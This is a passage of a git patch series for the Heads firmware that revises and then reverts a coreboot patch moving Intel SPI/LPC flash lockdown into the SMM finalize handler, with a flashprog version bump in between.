100644 --- a/src/soc/intel/alderlake/finalize.c +++ b/src/soc/intel/alderlake/finalize.c -@@ -84,7 +84,9 @@ static void soc_finalize(void *unused) +@@ -85,7 +85,9 @@ static void soc_finalize(void *unused) printk(BIOS_DEBUG, "Finalizing chipset.\n"); pch_finalize(); @@ -50,23 +69,24 @@ index 460c8af174e..9cd9351d96a 100644 if (CONFIG(USE_FSP_NOTIFY_PHASE_READY_TO_BOOT) && CONFIG(USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE)) diff --git a/src/soc/intel/cannonlake/finalize.c b/src/soc/intel/cannonlake/finalize.c -index ba7fc69b552..b5f727e97c7 100644 +index 974794bd97..461ba3a884 100644 --- a/src/soc/intel/cannonlake/finalize.c +++ b/src/soc/intel/cannonlake/finalize.c -@@ -87,7 +87,8 @@ static void soc_finalize(void *unused) +@@ -87,7 +87,9 @@ static void soc_finalize(void *unused) printk(BIOS_DEBUG, "Finalizing chipset.\n"); pch_finalize(); - apm_control(APM_CNT_FINALIZE); + if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) + apm_control(APM_CNT_FINALIZE); ++ if (CONFIG(DISABLE_HECI1_AT_PRE_BOOT) && CONFIG(SOC_INTEL_COMMON_BLOCK_HECI1_DISABLE_USING_PMC_IPC)) heci1_disable(); -diff --git a/src/soc/intel/common/block/lpc/Makefile.inc b/src/soc/intel/common/block/lpc/Makefile.inc -index b510cd0ec35..60792654b5a 100644 ---- a/src/soc/intel/common/block/lpc/Makefile.inc -+++ b/src/soc/intel/common/block/lpc/Makefile.inc +diff --git a/src/soc/intel/common/block/lpc/Makefile.mk b/src/soc/intel/common/block/lpc/Makefile.mk +index b510cd0ec3..60792654b5 100644 +--- a/src/soc/intel/common/block/lpc/Makefile.mk ++++ b/src/soc/intel/common/block/lpc/Makefile.mk @@ -5,3 +5,7 @@ romstage-$(CONFIG_SOC_INTEL_COMMON_BLOCK_LPC) += lpc_lib.c ramstage-$(CONFIG_SOC_INTEL_COMMON_BLOCK_LPC) += lpc_lib.c @@ -76,10 +96,10 @@ index b510cd0ec35..60792654b5a 100644 +smm-$(CONFIG_SOC_INTEL_COMMON_BLOCK_LPC) += lpc_lib.c +endif diff --git a/src/soc/intel/common/block/smm/smihandler.c b/src/soc/intel/common/block/smm/smihandler.c -index 4bfd17bfd07..dcd74764957 100644 +index 59489a4f03..2a1f26d2eb 100644 --- a/src/soc/intel/common/block/smm/smihandler.c +++ b/src/soc/intel/common/block/smm/smihandler.c -@@ -15,12 +15,14 @@ +@@ -14,12 +14,14 @@ #include #include #include @@ -94,7 +114,7 @@ index 4bfd17bfd07..dcd74764957 100644 #include #include #include -@@ -343,6 +345,14 @@ static void finalize(void) +@@ -345,6 +347,14 @@ static void finalize(void) } finalize_done = 1; @@ -110,7 +130,7 @@ index 4bfd17bfd07..dcd74764957 100644 /* Re-init SPI driver to handle locked BAR */ fast_spi_init(); diff --git a/src/soc/intel/common/pch/include/intelpch/lockdown.h b/src/soc/intel/common/pch/include/intelpch/lockdown.h -index b5aba06fe0e..1b96f41a2a4 100644 +index b5aba06fe0..1b96f41a2a 100644 --- a/src/soc/intel/common/pch/include/intelpch/lockdown.h +++ b/src/soc/intel/common/pch/include/intelpch/lockdown.h @@ -22,4 +22,7 @@ int get_lockdown_config(void); @@ -122,10 +142,10 @@ index b5aba06fe0e..1b96f41a2a4 100644 + #endif /* SOC_INTEL_COMMON_PCH_LOCKDOWN_H */ diff --git a/src/soc/intel/common/pch/lockdown/Kconfig b/src/soc/intel/common/pch/lockdown/Kconfig -index 8fce5e785c2..fbeb341e9ac 100644 +index 38f60d2056..545185c52f 100644 --- a/src/soc/intel/common/pch/lockdown/Kconfig +++ b/src/soc/intel/common/pch/lockdown/Kconfig -@@ -1,7 +1,22 @@ +@@ -3,7 +3,22 @@ config SOC_INTEL_COMMON_PCH_LOCKDOWN bool default n @@ -138,7 +158,7 @@ index 8fce5e785c2..fbeb341e9ac 100644 +config SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM + bool "Lock down SPI controller in SMM" + default n -+ depends on HAVE_SMI_HANDLER ++ depends on HAVE_SMI_HANDLER && !INTEL_CHIPSET_LOCKDOWN + select SPI_FLASH_SMM + help + This option allows to have chipset lockdown for FAST_SPI and LPC for @@ -146,13 +166,12 @@ index 8fce5e785c2..fbeb341e9ac 100644 + and LPC controller. The payload or OS is responsible for locking it + using APM_CNT_FINALIZE SMI. Used by heads to set and lock PR0 flash + protection. -+ ++ + If unsure, say N. -\ No newline at end of file -diff --git a/src/soc/intel/common/pch/lockdown/Makefile.inc b/src/soc/intel/common/pch/lockdown/Makefile.inc -index 71466f8edd1..64aad562acf 100644 ---- a/src/soc/intel/common/pch/lockdown/Makefile.inc -+++ b/src/soc/intel/common/pch/lockdown/Makefile.inc +diff --git a/src/soc/intel/common/pch/lockdown/Makefile.mk b/src/soc/intel/common/pch/lockdown/Makefile.mk +index 71466f8edd..64aad562ac 100644 +--- a/src/soc/intel/common/pch/lockdown/Makefile.mk ++++ b/src/soc/intel/common/pch/lockdown/Makefile.mk @@ -1,2 +1,7 @@ ## SPDX-License-Identifier: GPL-2.0-only ramstage-$(CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN) += lockdown.c @@ -162,10 +181,10 @@ index 71466f8edd1..64aad562acf 100644 +smm-$(CONFIG_SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM) += lockdown_lpc.c +smm-$(CONFIG_SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM) += lockdown_spi.c diff --git a/src/soc/intel/common/pch/lockdown/lockdown.c b/src/soc/intel/common/pch/lockdown/lockdown.c -index 1b1d99cc0c9..7e52fb826fe 100644 +index eec3beb01b..2d229e1a90 100644 --- a/src/soc/intel/common/pch/lockdown/lockdown.c +++ b/src/soc/intel/common/pch/lockdown/lockdown.c -@@ -61,21 +61,24 @@ static void fast_spi_lockdown_cfg(int chipset_lockdown) +@@ -60,56 +60,17 @@ static void fast_spi_lockdown_cfg(int chipset_lockdown) /* Set FAST_SPI opcode menu */ fast_spi_set_opcode_menu(); @@ -184,22 +203,25 @@ index 1b1d99cc0c9..7e52fb826fe 100644 /* Set Vendor Component Lock (VCL) */ fast_spi_vscc0_lock(); -+ if (CONFIG(SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM)) -+ return; -+ -+ /* Discrete Lock Flash PR registers */ -+ fast_spi_pr_dlock(); -+ -+ /* Lock FAST_SPIBAR */ -+ fast_spi_lock_bar(); -+ - /* Set BIOS Interface Lock, BIOS Lock */ - if (chipset_lockdown == CHIPSET_LOCKDOWN_COREBOOT) { - /* BIOS Interface Lock */ -@@ -95,24 +98,6 @@ static void fast_spi_lockdown_cfg(int chipset_lockdown) - } - } - +- /* Set BIOS Interface Lock, BIOS Lock */ +- if (chipset_lockdown == CHIPSET_LOCKDOWN_COREBOOT) { +- /* BIOS Interface Lock */ +- fast_spi_set_bios_interface_lock_down(); +- +- /* Only allow writes in SMM */ +- if (CONFIG(BOOTMEDIA_SMM_BWP)) { +- fast_spi_set_eiss(); +- fast_spi_enable_wp(); +- } +- +- /* BIOS Lock */ +- fast_spi_set_lock_enable(); +- +- /* EXT BIOS Lock */ +- fast_spi_set_ext_bios_lock_enable(); +- } +-} +- -static void lpc_lockdown_config(int chipset_lockdown) -{ - /* Set BIOS Interface Lock, BIOS Lock */ @@ -208,7 +230,7 @@ index 1b1d99cc0c9..7e52fb826fe 100644 - lpc_set_bios_interface_lock_down(); - - /* Only allow writes in SMM */ -- if (CONFIG(BOOTMEDIA_SMM_BWP) && is_smm_bwp_permitted()) { +- if (CONFIG(BOOTMEDIA_SMM_BWP)) { - lpc_set_eiss(); - lpc_enable_wp(); - } @@ -216,14 +238,26 @@ index 1b1d99cc0c9..7e52fb826fe 100644 - /* BIOS Lock */ - lpc_set_lock_enable(); - } --} -- ++ if (!CONFIG(SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM)) ++ fast_spi_lockdown_bios(chipset_lockdown); + } + static void sa_lockdown_config(int chipset_lockdown) - { - if (!CONFIG(SOC_INTEL_COMMON_BLOCK_SA)) +@@ -135,8 +96,9 @@ static void platform_lockdown_config(void *unused) + /* SPI lock down configuration */ + fast_spi_lockdown_cfg(chipset_lockdown); + +- /* LPC/eSPI lock down configuration */ +- lpc_lockdown_config(chipset_lockdown); ++ if (!CONFIG(SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM)) ++ /* LPC/eSPI lock down configuration */ ++ lpc_lockdown_config(chipset_lockdown); + + /* GPMR lock down configuration */ + gpmr_lockdown_cfg(); diff --git a/src/soc/intel/common/pch/lockdown/lockdown_lpc.c b/src/soc/intel/common/pch/lockdown/lockdown_lpc.c new file mode 100644 -index 00000000000..69278ea343f +index 0000000000..69278ea343 --- /dev/null +++ b/src/soc/intel/common/pch/lockdown/lockdown_lpc.c @@ -0,0 +1,23 @@ @@ -252,10 +286,10 @@ index 00000000000..69278ea343f +} diff --git a/src/soc/intel/common/pch/lockdown/lockdown_spi.c b/src/soc/intel/common/pch/lockdown/lockdown_spi.c new file mode 100644 -index 00000000000..fa09cec7c2e +index 0000000000..8dbe93013e --- /dev/null +++ b/src/soc/intel/common/pch/lockdown/lockdown_spi.c -@@ -0,0 +1,35 @@ +@@ -0,0 +1,32 @@ +/* SPDX-License-Identifier: GPL-2.0-only */ + +#include @@ -264,9 +298,6 @@ index 00000000000..fa09cec7c2e + +void fast_spi_lockdown_bios(int chipset_lockdown) +{ -+ if (!CONFIG(SOC_INTEL_COMMON_BLOCK_FAST_SPI)) -+ return; -+ + /* Discrete Lock Flash PR registers */ + fast_spi_pr_dlock(); + @@ -292,7 +323,7 @@ index 00000000000..fa09cec7c2e + } +} diff --git a/src/soc/intel/denverton_ns/lpc.c b/src/soc/intel/denverton_ns/lpc.c -index 7ebca1eb946..8d8acf05088 100644 +index 7dc971ea92..c4f7681c62 100644 --- a/src/soc/intel/denverton_ns/lpc.c +++ b/src/soc/intel/denverton_ns/lpc.c @@ -536,7 +536,8 @@ static const struct pci_driver lpc_driver __pci_driver = { @@ -306,24 +337,25 @@ index 7ebca1eb946..8d8acf05088 100644 BOOT_STATE_INIT_ENTRY(BS_OS_RESUME, BS_ON_ENTRY, finalize_chipset, NULL); diff --git a/src/soc/intel/elkhartlake/finalize.c b/src/soc/intel/elkhartlake/finalize.c -index 275413b4efa..802d02cb596 100644 +index 275413b4ef..fc54710303 100644 --- a/src/soc/intel/elkhartlake/finalize.c +++ b/src/soc/intel/elkhartlake/finalize.c -@@ -43,7 +43,8 @@ static void soc_finalize(void *unused) +@@ -43,7 +43,9 @@ static void soc_finalize(void *unused) printk(BIOS_DEBUG, "Finalizing chipset.\n"); pch_finalize(); - apm_control(APM_CNT_FINALIZE); + if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) + apm_control(APM_CNT_FINALIZE); ++ if (CONFIG(USE_FSP_NOTIFY_PHASE_READY_TO_BOOT) && CONFIG(USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE)) heci_finalize(); diff --git a/src/soc/intel/jasperlake/finalize.c b/src/soc/intel/jasperlake/finalize.c -index 6cff7a80f30..1b68cc51786 100644 +index 8788db155d..4840c0c04c 100644 --- a/src/soc/intel/jasperlake/finalize.c +++ b/src/soc/intel/jasperlake/finalize.c -@@ -75,7 +75,8 @@ static void soc_finalize(void *unused) +@@ -76,7 +76,8 @@ static void soc_finalize(void *unused) printk(BIOS_DEBUG, "Finalizing chipset.\n"); pch_finalize(); @@ -334,21 +366,37 @@ index 6cff7a80f30..1b68cc51786 100644 /* Indicate finalize step with post code */ post_code(POSTCODE_OS_BOOT); diff --git a/src/soc/intel/meteorlake/finalize.c b/src/soc/intel/meteorlake/finalize.c -index a977b0516e5..951153fa812 100644 +index 1fd1d98fb5..80802db285 100644 --- a/src/soc/intel/meteorlake/finalize.c +++ b/src/soc/intel/meteorlake/finalize.c -@@ -75,7 +75,8 @@ static void soc_finalize(void *unused) +@@ -64,7 +64,9 @@ static void soc_finalize(void *unused) printk(BIOS_DEBUG, "Finalizing chipset.\n"); pch_finalize(); - apm_control(APM_CNT_FINALIZE); + if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) + apm_control(APM_CNT_FINALIZE); ++ + tbt_finalize(); + sa_finalize(); + if (CONFIG(USE_FSP_NOTIFY_PHASE_READY_TO_BOOT) && +diff --git a/src/soc/intel/pantherlake/finalize.c b/src/soc/intel/pantherlake/finalize.c +index 05ec3eaaca..1d47dd7a0b 100644 +--- a/src/soc/intel/pantherlake/finalize.c ++++ b/src/soc/intel/pantherlake/finalize.c +@@ -63,7 +63,9 @@ static void soc_finalize(void *unused) + printk(BIOS_DEBUG, "Finalizing chipset.\n"); + + pch_finalize(); +- apm_control(APM_CNT_FINALIZE); ++ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) ++ apm_control(APM_CNT_FINALIZE); ++ tbt_finalize(); sa_finalize(); if (CONFIG(USE_FSP_NOTIFY_PHASE_READY_TO_BOOT) && diff --git a/src/soc/intel/skylake/finalize.c b/src/soc/intel/skylake/finalize.c -index fd80aeac1a0..a147b62e46f 100644 +index fd80aeac1a..a147b62e46 100644 --- a/src/soc/intel/skylake/finalize.c +++ b/src/soc/intel/skylake/finalize.c @@ -106,7 +106,8 @@ static void soc_finalize(void *unused) @@ -362,21 +410,22 @@ index fd80aeac1a0..a147b62e46f 100644 /* Indicate finalize step with post code */ post_code(POSTCODE_OS_BOOT); diff --git a/src/soc/intel/tigerlake/finalize.c b/src/soc/intel/tigerlake/finalize.c -index cd02745a9e6..06ce243fe72 100644 +index cd02745a9e..158b2fb691 100644 --- a/src/soc/intel/tigerlake/finalize.c +++ b/src/soc/intel/tigerlake/finalize.c -@@ -55,7 +55,8 @@ static void soc_finalize(void *unused) +@@ -55,7 +55,9 @@ static void soc_finalize(void *unused) printk(BIOS_DEBUG, "Finalizing chipset.\n"); pch_finalize(); - apm_control(APM_CNT_FINALIZE); + if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) + apm_control(APM_CNT_FINALIZE); ++ tbt_finalize(); if (CONFIG(DISABLE_HECI1_AT_PRE_BOOT)) heci1_disable(); diff --git a/src/soc/intel/xeon_sp/finalize.c b/src/soc/intel/xeon_sp/finalize.c -index af630fe8127..8e409b8c439 100644 +index a7b3602744..f0cd8a1998 100644 --- a/src/soc/intel/xeon_sp/finalize.c +++ b/src/soc/intel/xeon_sp/finalize.c @@ -59,7 +59,8 @@ static void soc_finalize(void *unused) @@ -386,6 +435,43 @@ index af630fe8127..8e409b8c439 100644 - apm_control(APM_CNT_FINALIZE); + if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) + apm_control(APM_CNT_FINALIZE); - lock_pam0123(); if (CONFIG_MAX_SOCKET > 1) { + /* This MSR is package scope but run for all cpus for code simplicity */ +diff --git a/src/soc/intel/xeon_sp/lockdown.c b/src/soc/intel/xeon_sp/lockdown.c +index a3d17b46c3..51a5cf5431 100644 +--- a/src/soc/intel/xeon_sp/lockdown.c ++++ b/src/soc/intel/xeon_sp/lockdown.c +@@ -6,25 +6,15 @@ + #include + #include + +-static void lpc_lockdown_config(void) +-{ +- /* Set BIOS Interface Lock, BIOS Lock */ +- lpc_set_bios_interface_lock_down(); +- +- /* Only allow writes in SMM */ +- if (CONFIG(BOOTMEDIA_SMM_BWP)) { +- lpc_set_eiss(); +- lpc_enable_wp(); +- } +- lpc_set_lock_enable(); +-} +- + void soc_lockdown_config(int chipset_lockdown) + { + if (chipset_lockdown == CHIPSET_LOCKDOWN_FSP) + return; + +- lpc_lockdown_config(); ++ if (!CONFIG(SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM)) ++ /* LPC/eSPI lock down configuration */ ++ lpc_lockdown_config(chipset_lockdown); ++ + pmc_lockdown_config(); + sata_lockdown_config(chipset_lockdown); + spi_lockdown_config(chipset_lockdown); +-- +2.39.5 + From 3de473c40902abb0869b08e7591ecd8831d73890 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 28 Nov 2024 12:06:19 -0500 Subject: [PATCH 348/619] modules/flashprog: bump to latest commit, including support for meteor lake We use https://github.com/SourceArcade/flashprog/commit/eb2c04185f8f471c768b742d66e4c552effdd9cb (2024-11-21 1.3+ bugfixes) Where meteor lake is https://github.com/SourceArcade/flashprog/commit/5e0d9b04a07f5646038020e1a45dd04c0b14e8f3 is from 1.3 (3 weeks ago) Signed-off-by: Thierry Laurion --- modules/flashprog | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/flashprog b/modules/flashprog index 1e257b04f..ef34de70e 100644 --- a/modules/flashprog +++ b/modules/flashprog @@ -2,11 +2,11 @@ modules-$(CONFIG_FLASHPROG) += flashprog flashprog_depends := pciutils $(musl_dep) -flashprog_version := 9dc6d843b0678001c9baf0e8602ecb25b16329d2 +flashprog_version := eb2c04185f8f471c768b742d66e4c552effdd9cb flashprog_dir := flashprog-$(flashprog_version) flashprog_tar := $(flashprog_dir).tar.gz flashprog_url := https://github.com/SourceArcade/flashprog/archive/$(flashprog_version).tar.gz -flashprog_hash := fa4ddf3b60314994a37e4599122ae4c7f42135c13c782e580bc580d715cfa2fc +flashprog_hash := 0d4186be9f2088d624a9a708c352d0dfafa2264e1436b11ec3cc1a350fd45a77 # Default options for flashprog flashprog_cfg := \ From 43b03fbe6000ade1b0a461369b7129b25bbd7421 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 28 Nov 2024 13:24:02 -0500 Subject: [PATCH 349/619] Revert "coreboot dasharo fork patch: bump patchset to upstream reviewed" This reverts commit f5fdf9a97e2d730fbaf888b33e730f51fdbdf4ed. Unfortunately, patch doesn't apply to dasharo current fork pointed under modules/coreboot Waiting for Dasharo to provide a patch updated to heads used fork/dasahro bumping to newer coreboot version for which patchset applies clealy Signed-off-by: Thierry Laurion --- ...002-pr0_chipset_locking-post_skylake.patch | 248 ++++++------------ 1 file changed, 81 insertions(+), 167 deletions(-) diff --git a/patches/coreboot-dasharo-unreleased/0002-pr0_chipset_locking-post_skylake.patch b/patches/coreboot-dasharo-unreleased/0002-pr0_chipset_locking-post_skylake.patch index c8e4cd251..768dfc16c 100644 --- a/patches/coreboot-dasharo-unreleased/0002-pr0_chipset_locking-post_skylake.patch +++ b/patches/coreboot-dasharo-unreleased/0002-pr0_chipset_locking-post_skylake.patch @@ -1,63 +1,44 @@ -From f9f309190246c66e92db5408c183dd8b617987f3 Mon Sep 17 00:00:00 2001 +From ff22122c229bbe2109de92ded773493428f7ece9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20=C5=BBygowski?= -Date: Sat, 23 Nov 2024 22:43:10 +0100 +Date: Sun, 20 Oct 2024 13:15:19 +0200 Subject: [PATCH] soc/intel/lockdown: Allow locking down SPI and LPC in SMM MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit -Heads payload uses APM_CNT_FINALIZE SMI to set and lock down the SPI -controller with PR0 flash protection for pre-Skylake platforms. +Heads payload uses APM_CNT_FINALIZE SMI to set and lock down +the SPI controller with PR0 flash protection. Add new option +to skip LPC and FAST SPI lock down in coreboot and move it +to APM_CNT_FINALIZE SMI handler. -Add new option to skip LPC and FAST SPI lock down in coreboot and move -it to APM_CNT_FINALIZE SMI handler. Reuse the INTEL_CHIPSET_LOCKDOWN -option to prevent issuing APM_CNT_FINALIZE SMI on normal boot path, -like it was done on pre-Skylake platforms. As the locking on modern -SOCs became more complicated, separate the SPI and LPC locking into -new modules to make linking to SMM easier. - -The expected configuration to leverage the feautre is to unselect -INTEL_CHIPSET_LOCKDOWN and select SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM. - -Testing various microarchitectures happens on heads repository: -https://github.com/linuxboot/heads/pull/1818 - -TEST=Lock the SPI flash using APM_CNT_FINALIZE in heads on Alder Lake -(Protectli VP66xx) and Comet Lake (Protectli VP46xx) platforms. Check -if flash is unlocked in the heads recovery console. Check if flash is -locked in the kexec'ed OS. - -Change-Id: Icbcc6fcde90e5b0a999aacb720e2e3dc2748c838 Signed-off-by: Michał Żygowski --- - src/soc/intel/alderlake/finalize.c | 4 +- - src/soc/intel/cannonlake/finalize.c | 4 +- - src/soc/intel/common/block/lpc/Makefile.mk | 4 ++ - src/soc/intel/common/block/smm/smihandler.c | 10 ++++ + src/soc/intel/alderlake/finalize.c | 4 ++- + src/soc/intel/cannonlake/finalize.c | 3 +- + src/soc/intel/common/block/lpc/Makefile.inc | 4 +++ + src/soc/intel/common/block/smm/smihandler.c | 10 ++++++ .../common/pch/include/intelpch/lockdown.h | 3 ++ - src/soc/intel/common/pch/lockdown/Kconfig | 15 ++++++ - src/soc/intel/common/pch/lockdown/Makefile.mk | 5 ++ - src/soc/intel/common/pch/lockdown/lockdown.c | 48 ++----------------- - .../intel/common/pch/lockdown/lockdown_lpc.c | 23 +++++++++ - .../intel/common/pch/lockdown/lockdown_spi.c | 32 +++++++++++++ + src/soc/intel/common/pch/lockdown/Kconfig | 15 ++++++++ + .../intel/common/pch/lockdown/Makefile.inc | 5 +++ + src/soc/intel/common/pch/lockdown/lockdown.c | 33 +++++------------ + .../intel/common/pch/lockdown/lockdown_lpc.c | 23 ++++++++++++ + .../intel/common/pch/lockdown/lockdown_spi.c | 35 +++++++++++++++++++ src/soc/intel/denverton_ns/lpc.c | 3 +- - src/soc/intel/elkhartlake/finalize.c | 4 +- + src/soc/intel/elkhartlake/finalize.c | 3 +- src/soc/intel/jasperlake/finalize.c | 3 +- - src/soc/intel/meteorlake/finalize.c | 4 +- - src/soc/intel/pantherlake/finalize.c | 4 +- + src/soc/intel/meteorlake/finalize.c | 3 +- src/soc/intel/skylake/finalize.c | 3 +- - src/soc/intel/tigerlake/finalize.c | 4 +- + src/soc/intel/tigerlake/finalize.c | 3 +- src/soc/intel/xeon_sp/finalize.c | 3 +- - src/soc/intel/xeon_sp/lockdown.c | 18 ++----- - 19 files changed, 127 insertions(+), 67 deletions(-) + 17 files changed, 123 insertions(+), 33 deletions(-) create mode 100644 src/soc/intel/common/pch/lockdown/lockdown_lpc.c create mode 100644 src/soc/intel/common/pch/lockdown/lockdown_spi.c diff --git a/src/soc/intel/alderlake/finalize.c b/src/soc/intel/alderlake/finalize.c -index 700fde977b..615729d3dd 100644 +index 460c8af174e..9cd9351d96a 100644 --- a/src/soc/intel/alderlake/finalize.c +++ b/src/soc/intel/alderlake/finalize.c -@@ -85,7 +85,9 @@ static void soc_finalize(void *unused) +@@ -84,7 +84,9 @@ static void soc_finalize(void *unused) printk(BIOS_DEBUG, "Finalizing chipset.\n"); pch_finalize(); @@ -69,24 +50,23 @@ index 700fde977b..615729d3dd 100644 if (CONFIG(USE_FSP_NOTIFY_PHASE_READY_TO_BOOT) && CONFIG(USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE)) diff --git a/src/soc/intel/cannonlake/finalize.c b/src/soc/intel/cannonlake/finalize.c -index 974794bd97..461ba3a884 100644 +index ba7fc69b552..b5f727e97c7 100644 --- a/src/soc/intel/cannonlake/finalize.c +++ b/src/soc/intel/cannonlake/finalize.c -@@ -87,7 +87,9 @@ static void soc_finalize(void *unused) +@@ -87,7 +87,8 @@ static void soc_finalize(void *unused) printk(BIOS_DEBUG, "Finalizing chipset.\n"); pch_finalize(); - apm_control(APM_CNT_FINALIZE); + if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) + apm_control(APM_CNT_FINALIZE); -+ if (CONFIG(DISABLE_HECI1_AT_PRE_BOOT) && CONFIG(SOC_INTEL_COMMON_BLOCK_HECI1_DISABLE_USING_PMC_IPC)) heci1_disable(); -diff --git a/src/soc/intel/common/block/lpc/Makefile.mk b/src/soc/intel/common/block/lpc/Makefile.mk -index b510cd0ec3..60792654b5 100644 ---- a/src/soc/intel/common/block/lpc/Makefile.mk -+++ b/src/soc/intel/common/block/lpc/Makefile.mk +diff --git a/src/soc/intel/common/block/lpc/Makefile.inc b/src/soc/intel/common/block/lpc/Makefile.inc +index b510cd0ec35..60792654b5a 100644 +--- a/src/soc/intel/common/block/lpc/Makefile.inc ++++ b/src/soc/intel/common/block/lpc/Makefile.inc @@ -5,3 +5,7 @@ romstage-$(CONFIG_SOC_INTEL_COMMON_BLOCK_LPC) += lpc_lib.c ramstage-$(CONFIG_SOC_INTEL_COMMON_BLOCK_LPC) += lpc_lib.c @@ -96,10 +76,10 @@ index b510cd0ec3..60792654b5 100644 +smm-$(CONFIG_SOC_INTEL_COMMON_BLOCK_LPC) += lpc_lib.c +endif diff --git a/src/soc/intel/common/block/smm/smihandler.c b/src/soc/intel/common/block/smm/smihandler.c -index 59489a4f03..2a1f26d2eb 100644 +index 4bfd17bfd07..dcd74764957 100644 --- a/src/soc/intel/common/block/smm/smihandler.c +++ b/src/soc/intel/common/block/smm/smihandler.c -@@ -14,12 +14,14 @@ +@@ -15,12 +15,14 @@ #include #include #include @@ -114,7 +94,7 @@ index 59489a4f03..2a1f26d2eb 100644 #include #include #include -@@ -345,6 +347,14 @@ static void finalize(void) +@@ -343,6 +345,14 @@ static void finalize(void) } finalize_done = 1; @@ -130,7 +110,7 @@ index 59489a4f03..2a1f26d2eb 100644 /* Re-init SPI driver to handle locked BAR */ fast_spi_init(); diff --git a/src/soc/intel/common/pch/include/intelpch/lockdown.h b/src/soc/intel/common/pch/include/intelpch/lockdown.h -index b5aba06fe0..1b96f41a2a 100644 +index b5aba06fe0e..1b96f41a2a4 100644 --- a/src/soc/intel/common/pch/include/intelpch/lockdown.h +++ b/src/soc/intel/common/pch/include/intelpch/lockdown.h @@ -22,4 +22,7 @@ int get_lockdown_config(void); @@ -142,10 +122,10 @@ index b5aba06fe0..1b96f41a2a 100644 + #endif /* SOC_INTEL_COMMON_PCH_LOCKDOWN_H */ diff --git a/src/soc/intel/common/pch/lockdown/Kconfig b/src/soc/intel/common/pch/lockdown/Kconfig -index 38f60d2056..545185c52f 100644 +index 8fce5e785c2..fbeb341e9ac 100644 --- a/src/soc/intel/common/pch/lockdown/Kconfig +++ b/src/soc/intel/common/pch/lockdown/Kconfig -@@ -3,7 +3,22 @@ +@@ -1,7 +1,22 @@ config SOC_INTEL_COMMON_PCH_LOCKDOWN bool default n @@ -158,7 +138,7 @@ index 38f60d2056..545185c52f 100644 +config SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM + bool "Lock down SPI controller in SMM" + default n -+ depends on HAVE_SMI_HANDLER && !INTEL_CHIPSET_LOCKDOWN ++ depends on HAVE_SMI_HANDLER + select SPI_FLASH_SMM + help + This option allows to have chipset lockdown for FAST_SPI and LPC for @@ -166,12 +146,13 @@ index 38f60d2056..545185c52f 100644 + and LPC controller. The payload or OS is responsible for locking it + using APM_CNT_FINALIZE SMI. Used by heads to set and lock PR0 flash + protection. -+ ++ + If unsure, say N. -diff --git a/src/soc/intel/common/pch/lockdown/Makefile.mk b/src/soc/intel/common/pch/lockdown/Makefile.mk -index 71466f8edd..64aad562ac 100644 ---- a/src/soc/intel/common/pch/lockdown/Makefile.mk -+++ b/src/soc/intel/common/pch/lockdown/Makefile.mk +\ No newline at end of file +diff --git a/src/soc/intel/common/pch/lockdown/Makefile.inc b/src/soc/intel/common/pch/lockdown/Makefile.inc +index 71466f8edd1..64aad562acf 100644 +--- a/src/soc/intel/common/pch/lockdown/Makefile.inc ++++ b/src/soc/intel/common/pch/lockdown/Makefile.inc @@ -1,2 +1,7 @@ ## SPDX-License-Identifier: GPL-2.0-only ramstage-$(CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN) += lockdown.c @@ -181,10 +162,10 @@ index 71466f8edd..64aad562ac 100644 +smm-$(CONFIG_SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM) += lockdown_lpc.c +smm-$(CONFIG_SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM) += lockdown_spi.c diff --git a/src/soc/intel/common/pch/lockdown/lockdown.c b/src/soc/intel/common/pch/lockdown/lockdown.c -index eec3beb01b..2d229e1a90 100644 +index 1b1d99cc0c9..7e52fb826fe 100644 --- a/src/soc/intel/common/pch/lockdown/lockdown.c +++ b/src/soc/intel/common/pch/lockdown/lockdown.c -@@ -60,56 +60,17 @@ static void fast_spi_lockdown_cfg(int chipset_lockdown) +@@ -61,21 +61,24 @@ static void fast_spi_lockdown_cfg(int chipset_lockdown) /* Set FAST_SPI opcode menu */ fast_spi_set_opcode_menu(); @@ -203,25 +184,22 @@ index eec3beb01b..2d229e1a90 100644 /* Set Vendor Component Lock (VCL) */ fast_spi_vscc0_lock(); -- /* Set BIOS Interface Lock, BIOS Lock */ -- if (chipset_lockdown == CHIPSET_LOCKDOWN_COREBOOT) { -- /* BIOS Interface Lock */ -- fast_spi_set_bios_interface_lock_down(); -- -- /* Only allow writes in SMM */ -- if (CONFIG(BOOTMEDIA_SMM_BWP)) { -- fast_spi_set_eiss(); -- fast_spi_enable_wp(); -- } -- -- /* BIOS Lock */ -- fast_spi_set_lock_enable(); -- -- /* EXT BIOS Lock */ -- fast_spi_set_ext_bios_lock_enable(); -- } --} -- ++ if (CONFIG(SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM)) ++ return; ++ ++ /* Discrete Lock Flash PR registers */ ++ fast_spi_pr_dlock(); ++ ++ /* Lock FAST_SPIBAR */ ++ fast_spi_lock_bar(); ++ + /* Set BIOS Interface Lock, BIOS Lock */ + if (chipset_lockdown == CHIPSET_LOCKDOWN_COREBOOT) { + /* 